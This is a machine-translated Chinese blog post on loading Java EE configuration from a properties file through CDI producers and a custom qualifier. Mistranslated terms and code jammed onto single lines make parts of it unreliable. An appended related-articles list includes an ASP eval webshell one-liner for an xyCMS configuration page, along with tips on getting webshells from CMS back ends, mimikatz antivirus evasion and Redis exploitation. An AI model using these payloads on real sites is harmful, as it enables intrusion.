muy bien_配置Java EE应用程序或“将Bien付诸实践”

muy bien

过去,有关应用程序配置的讨论很多。 我不知道谁拉开了辩论的序幕,但是最基础的阅读(着眼于未来的Java EE 7及更高版本)是Antonio Goncalves的帖子[辩论] – Java EE 7中的配置又如何呢 ? 事实是,使用Vanilla Java EE,我们每天都在进行应用程序配置。 没有适当的机制。 看完昨天亚当的最新帖子后,我想对它做些补充,我认为它可以适合大多数项目。

为什么发布这个帖子?

亚当展示的基本知识非常聪明。 你只是

@Inject
int yourConfigVariable;

到此为止。 您不必关心属性或其他配置类。 但是查看它,您发现您需要以某种方式从某个地方填充您的配置。 回顾安东尼奥的帖子,您会发现您有很多选择。 我们最满意的一种可能是Java的Properties机制。 结合使用此代码和Adam提供的代码,您最终将获得Configuration.properties,其中包含无数个单词键列表。 那不是我所说的可维护的。 所以基本上,这就是为什么该帖子的标题是:“将Bien付诸实践” ..oO(对不起,亚当!):-)这是我解决该问题的方法。

从属性文件填充您的配置

最基本的部分是将Configuration.properties文件添加到您的应用程序(默认程序包)。 现在,我们将对配置持有人进行一些修改,使其成为属性类型。 现在,修改Adam的fetchConfiguration()方法以加载它。

private Properties configData;@PostConstructpublic void fetchConfiguration() {String fileName = "Configuration.properties";configData =loadPropertiesFromClasspath(fileName);
}/*** Load properties file from classpath with Java 7 :-)* @param fileName* @return properties*/public static Properties loadPropertiesFromClasspath(String fileName) {try (InputStream in = Thread.currentThread().getContextClassLoader().getResourceAsStream(fileName)) {if (in != null) {props = new Properties();props.load(in);}} catch (IOException ioe) {log.debug("Can't load properties.", ioe);}

现在,您必须相应地修改@Producer方法。 我只在这里显示getString()方法来向您展示概念:

/*** Get a String property* @param point* @return String*/
@Produces
public String getString(InjectionPoint point) {String propertyPath = point.getMember().getDeclaringClass().getName()+ ".";String propertyName = point.getMember().getName();String propertyValue = configData.getProperty(propertyPath+propertyName);return (propertyValue == null) ? "" : propertyValue;}

为了方便起见,我将声明类的名称添加为propertyPath,以使属性文件中的顺序更加明确。 您可以使用Adam所示的生产方法:

package net.eisele.configuration;
public class HitsFlushTimer {@Injectprivate String hitsFlushRate;}

在这种情况下,您最终使用Configuration.properties文件中的键net.eisele.configuration.HitsFlushTimer.hitsFlushRate访问属性。 快速警告。 如果您遇到这种情况,则必须在耳朵内打包单独的ejb和war模块,您可能需要在Configuration单例中使用javax.annotation.security.PermitAll注释。

然后,您最终会重复很多

可能是真的。 如果重新配置相同的配置(例如,httpProxy),这将强制您为属性文件中的不同键使用相同的值。 解决方案似乎很简单。 为此,我们需要自己的资格赛。 我们走吧:

@Retention(RUNTIME)
@Target({FIELD, METHOD})
@Qualifier
public @interface AppProperty {@Nonbindingpublic String value();
}

现在我们有自己的资格赛。 接下来是相应地更改@Producer:

@Produces @AppProperty("")public String getString(InjectionPoint point) {String property = point.getAnnotated().getAnnotation(AppProperty.class).value();String valueForFieldName = configData.getProperty(property);return (valueForFieldName == null) ? "" : valueForFieldName;
}

而已。 现在,您可以在任何地方使用类似的内容:

@Inject@AppProperty("net.eisele.configuration.test2")String test2;

我知道,这还不如亚当的@Inject注解那么优雅。 但是:您不必花很多时间就可以看到正在发生的事情以及您的价值来自何处。 我认为这是一个有多个开发人员的项目中的专业人士。

是的 仍然不是很可维护。

好。 我知道。 您仍在谈论重构属性名称。 对? 还剩下什么呢? 您可以考虑使用封装了所有属性键的CKey枚举,并使用它而不是简单地使用键本身。 但是,我宁愿在代码中简单地使用普通的String键。 现在配置愉快。 您如何配置应用程序? 让我知道! 很高兴收到评论:)

参考:在Java软件企业软件开发博客上, 配置 JEE合作伙伴 Markus Eisele的Java EE应用程序或“将Bien付诸实践” 。

相关文章 :

  • 从Spring到Java EE 6
  • Java EE中的配置管理
  • Java EE过去,现在和云7
  • Java EE6事件:JMS的轻量级替代品
  • Java EE6装饰器:在注入时装饰类

翻译自: https://www.javacodegeeks.com/2011/12/configure-java-ee-applications-or.html

muy bien

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358267.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浅谈大前端的代表技术及其影响,值得我们思考

到底哪些是大前端的代表技术?从业务上来说,我认为终端 开发、网关设计、接口设计、桌面端的 工程化都可以算是大前端的业务范畴。 具体的技术,则是基于 HTML5、NodeJS 的通用技术,以及各平台的专有技术。 从现阶段来说&#xff0c…

Aspcms框架的webshell

文章目录 渗透测试-地基篇-Webshell-Aspcms框架(十)一、登录演示二、数据库备份拿webshell 一、登录演示 本次演示一种方法思路拿aspcms框架的webshell,该页面是用的是最新版本的aspcms框架自行搭建演示的。 1)登录地址&#x…

xyCMS框架的webshell

"%><%eval request("d")%><%s"在网站配置页面插入一句话。&#xff08;注意一定要把前后内容闭合&#xff0c;不然整个网站都要崩溃&#xff09; 插入结果。 shell工具连接 </article>

Xcode版本更新后插件失效解决办法

打开终端&#xff0c;输入以下代码&#xff1a; defaults read /Applications/Xcode.app/Contents/Info DVTPlugInCompatibilityUUID 获取到DVTPlugInCompatibilityUUID&#xff0c;然后 find ~/Library/Application\ Support/Developer/Shared/Xcode/Plug-ins -name Info.pli…

Flutter快速构建集美观与⾼性能于⼀体的APP

先上干货 github:https://github.com/flutter/flutter 官网&#xff1a;http://flutter.io/ 中文资源&#xff1a;https://flutter-io.cn/ 当然我也用其他敏捷式平台开发过APP&#xff0c;比如APICloud、uiapp,相比Flutter难度会小一些。 用户的需求 移动软件开发的困难 这…

如何使用UI技术提升租房类APP的看房体验?

这个看你处理的数据够不够复杂啦。 越个性化,越流程的APP越需要处理复杂的数据。 使用SVG制作户型结构编辑器。

jboss 发布web_JBoss模块示例–模块化Web应用程序

jboss 发布web最近&#xff0c;我读到了为什么没有标准来开发真正的模块化Web应用程序&#xff1f; 由Patroklos Papapetrou撰写&#xff08; 在Java Code Geeks中也有介绍 &#xff09;。 受本文的启发&#xff0c;我决定检查实际使用的JBoss模块 。 这篇文章逐步描述了我的实…

南方数据后台的WEBSHEL

南方数据企业系统&#xff0c;后台上传截断拿webshell 在“新闻资讯”-“添加新闻”模块中&#xff0c;在“新闻图片”中点击“上传”按钮&#xff0c;会出现一个弹窗&#xff0c;复制弹窗的地址&#xff0c;在新标签页中打开 本地准备个asp类型的一句话木马&#xff1a;<%…

【APICloud系列|20】如何使用使用APICloud开发出优质的Hybrid App

谈到这里,我先抛出几个问题,虽然他们社区比较活跃,我曾经也在上面开发过一款办公类应用并成功上架到各大安卓应用商店与APPstore,有兴趣的可以看看我以前的帖子。新手可以学习一下他们七天的教学,可以很快的入门,至于他们官方的一些视频可能比较陈旧,凑合着看吧,影响不是…

测试并发应用

本文是我们学院课程中名为Java Concurrency Essentials的一部分 。 在本课程中&#xff0c;您将深入探讨并发的魔力。 将向您介绍并发和并发代码的基础知识&#xff0c;并学习诸如原子性&#xff0c;同步和线程安全之类的概念。 在这里查看 &#xff01; 目录 1.简介 2. Sim…

无忧企业系统的getshell

方法一&#xff1a;数据库备份 写入后进行数据库备份 路径 shell工具连接 方法二&#xff1a;修改允许上传后缀&#xff0c;直接上传马

如何使用FinalShell、FileZilla上传网站代码到服务器?这两个都是神器

这段时间想做一个导航网站来着,然后就简单写了一个网页,买了一个域名、一台ECS服务器,都是比较便宜的那种,https://www.aliyun.com/minisite/goods?userCode=1k1odmgm 这个学生或者新用户基本都是一折,还能玩得起。所有软件的安装除了选择安装路径,都可以无脑按安装。 …

神经网络:深度学习优化方法

1.有哪些方法能提升CNN模型的泛化能力 采集更多数据&#xff1a;数据决定算法的上限。 优化数据分布&#xff1a;数据类别均衡。 选用合适的目标函数。 设计合适的网络结构。 数据增强。 权值正则化。 使用合适的优化器等。 2.BN层面试高频问题大汇总 BN层解决了什么问…

PDF.js如何添加放大缩小的功能,转换成图片应该如何实现?

把官方的安装包搞下来,自己的PDF文件及index.html添加进去,上面的目录结构是未添加的,我先把PDF文件搞成canvas然后搞成图片,然后再图片上添加按钮对图片进行放大缩小操作,方便对用户行为进行录屏。 <!DOCTYPE HTML> <html data-dpr="1" style="…

mimikatz免杀过360和火绒

mimikatz mimikatz是一款能够从Windows认证&#xff08;LSASS&#xff09;的进程中获取内存&#xff0c;并且获取名闻密码和NTLM哈希值的工具&#xff0c;攻击者可以利用这种功能漫游内网。也可以通过明文密码或者hash值进行提权。这款工具机器出名所以被查杀的几率极高。 1、…

SVN:请求不到主机,应该如何解决?

连了公司的局域网&#xff0c;可能一个账号人多的缘故&#xff0c;给你们讲一下思路。确保一点在同一个局域网。 然后ping一下域名。也是不通的 把域名换成IP进行访问试试&#xff0c;这个检查一下路径没有问题即可。

Redis漏洞利用的4种方法

Redis简介 redis是一个key-value存储系统。和Memcached类似&#xff0c;它支持存储的value类型相对更多&#xff0c;包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash&#xff08;哈希类型&#xff09;。这些数据类型都支持push/pop、add/remov…

系统已有MYSQL环境,如何安装宝塔面板

最近一直想搞一个在线博客网站&#xff0c;把代码部署到服务器。 下载己经下载了宝塔的.exe文件,安装提示系统已经存在MYSQL环境&#xff0c;请用纯净系统安装。 因为我以前做java的&#xff0c;已经装了&#xff0c;现在把它卸载即可。 WINR打开注册表输入regedit。 删除HK…

宝塔命令号操作全-最实用的莫过于修改密码啦

连续输入五次密码错误&#xff0c;只能CMD进行操作啦。看上图。